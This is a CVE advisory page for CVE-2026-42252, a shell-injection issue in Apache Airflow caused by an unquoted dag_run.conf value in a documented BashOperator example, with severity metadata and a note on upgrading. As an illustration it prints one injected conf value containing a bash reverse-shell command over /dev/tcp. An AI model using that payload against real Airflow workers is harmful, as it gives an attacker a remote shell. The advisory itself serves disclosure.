CVE 9.1 CRITICAL

Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern_CVE-2026-42252

9.1 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

AI Analysis

BashOperator Jinja2 injection via dag_run.conf allows low-privilege users to inject shell metacharacters

Basic Information

ID CVE-2026-42252
Source apache
Published Jun 1, 2026 at 07:51
Modified Jun 2, 2026 at 16:43

Affected Product

Vendor Apache Software Foundation
Product Apache Airflow
Version 3.0.0
Affected Versions Apache Software Foundation Apache Airflow 3.0.0

CWE Classification

AI Assessment

AI Score 9.1 / 10
AI Severity Critical
Vendor Apache Software Foundation
Product Apache Airflow
Version 3.0.0, 3.2.2

References

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.